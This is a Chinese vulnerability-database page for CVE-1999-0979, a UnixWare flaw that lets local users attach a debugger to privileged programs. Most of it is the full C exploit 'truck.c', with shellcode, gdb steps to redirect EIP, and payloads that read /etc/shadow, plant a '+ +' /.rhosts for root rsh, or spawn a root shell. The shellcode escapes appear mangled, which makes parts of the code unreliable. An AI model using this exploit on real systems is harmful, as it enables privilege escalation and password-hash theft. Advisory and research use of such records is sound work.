SCO Unixware 特权调试程序漏洞

SCO Unixware 特权调试程序漏洞

漏洞ID 1105643 漏洞类型 设计错误
发布时间 1999-12-10 更新时间 2005-05-02
图片[1]-SCO Unixware 特权调试程序漏洞-安全小百科CVE编号 CVE-1999-0979
图片[2]-SCO Unixware 特权调试程序漏洞-安全小百科CNNVD-ID CNNVD-200004-018
漏洞平台 SCO CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19674
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200004-018
|漏洞详情
SCOUnixWare特权过程系统存在漏洞,本地用户可以通过使用例如gdb的调试器在特权进程执行前将trap插入_init处从而获得根用户权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/869/info

Unixware's security model includes the concept of privileges. These can be assigned to processes and allow them to perform tasks that otherwise could only be performed by the root user. They allow programs to run with the minimum required privilege (as opposed to running as root). A vulnerability in Unixware's implementation of privileges allows regular users to attach a debugger to a running privileged program and take over its privileges.

Most Unix systems, including Uniware, place a number of restriction on how can regular users interact with setuid and setgid processes. For example they are not allowed to attach a debugger to them and the dynamic linker may ignore variables requesting the preloading of some shared libraries. Unixware's implementation of privileges provides no such protections for privileged programs allowing a user to attach a debugger to a running privileged program which has his same user uid and modifying it.

When a program that is listed in the /etc/security/tcb/privs is executed it is granted the privileges listed there. All a malicious has to do to exploit the problem is find a program listed in that file with the privileges it wishes to gain and executable by him. Example of programs executable by anyone with privileges include: /usr/ucb/w (DACREAD), /usr/bin/getdev (DACWRITE), and /usr/ucb/lpr (SETUID). 

/** =

 ** "Its a hole you could drive a truck through." =

 **                        -Aleph One
 **
 ** truck.c UnixWare 7.1 security model exploit
 ** Demonstrates how we own privileged processes =

 ** =

 ** Usage: cc -o truck truck.c
 ** ./truck <filetype>  where filetype is 1, 2 or 3 =

 ** (for dacread, dacwrite and setuid, respectively)
 **
 ** This will put $XNEC in the environment and run a shell.
 ** From there you must use gdb/debug to load a file of the
 ** type you chose (by checking /etc/security/tcb/privs)
 ** and setting a breakpoint at _init via "break _init".
 ** When you "run" and break at _init, change your EIP
 ** to something between 0x8046000 and 0x8048000 with =

 ** "set $eip = 0x8046b75" and "continue" twice.
 **
 **
 ** Brock Tellier [email protected]
 **/ =



#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* This isn't a buffer overflow! really! */
"xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
"xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
"xffxff/tmp/smxaaxaaxaaxaax9axaaxaaxaaxaax07xaa";

                       =

#define LEN 3500
#define NOP 0x90

#define DACWRITE "void main() { system("echo + + > /.rhosts; chmod 700 =

/.rhosts; chown root:sys /.rhosts; rsh -l root localhost sh -i 
"); }n"
#define DACREAD  "void main() { system("cat /etc/shadow");}n"
#define SETUID  "void main() { setreuid(0,0);system("/bin/sh"); }n"

void usage(int ftype) {
    fprintf(stderr, "Error: Usage: truck [filetype]n");
    fprintf(stderr, "Where filetype is one of the following: n");
    fprintf(stderr, "1 dacreadn2 dacwriten3 setuidn");
    fprintf(stderr, "Note: if file has allprivs, use setuidn");
}
void buildsm(int ftype) {
  FILE *fp;
  char cc[100];
  fp = fopen("/tmp/sm.c", "w");

  if (ftype == 1) fprintf(fp, DACREAD);
    else if(ftype == 2) fprintf(fp, DACWRITE);
    else if(ftype == 3) fprintf(fp, SETUID);

  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/sm /tmp/sm.c");
  system(cc);

}

int main(int argc, char *argv[]) {

int i;
int buflen = LEN;
char buf[LEN]; =

int filetype = 0;
char filebuf[20]; =


 if(argc > 2 || argc == 1) {
    usage(filetype);
    exit(0); =

 }

 if ( argc > 1 ) filetype=atoi(argv[1]);
 if ( filetype > 3 || filetype < 1 ) { usage(filetype); exit(-1); }
 buildsm(filetype);

fprintf(stderr, "nUnixWare 7.1 security model exploitn");
fprintf(stderr, "Brock Tellier [email protected]");

memset(buf,NOP,buflen);
memcpy(buf+(buflen - strlen(scoshell) - 1),scoshell,strlen(scoshell));

memcpy(buf, "XNEC=", 5);
putenv(buf);
buf[buflen - 1] = 0;

system("/bin/sh");
exit(0);
}
|参考资料

来源:BID
名称:869
链接:http://www.securityfocus.com/bid/869
来源:BUGTRAQ
名称:19991215RecentpostingsaboutSCOUnixWare7
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=94530783815434&w;=2

相关推荐: Linux Kernel IPV6_Setsockopt IPV6_PKTOPTIONS Integer Overflow Vulnerability

Linux Kernel IPV6_Setsockopt IPV6_PKTOPTIONS Integer Overflow Vulnerability 漏洞ID 1097193 漏洞类型 Boundary Condition Error 发布时间 2005-0…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享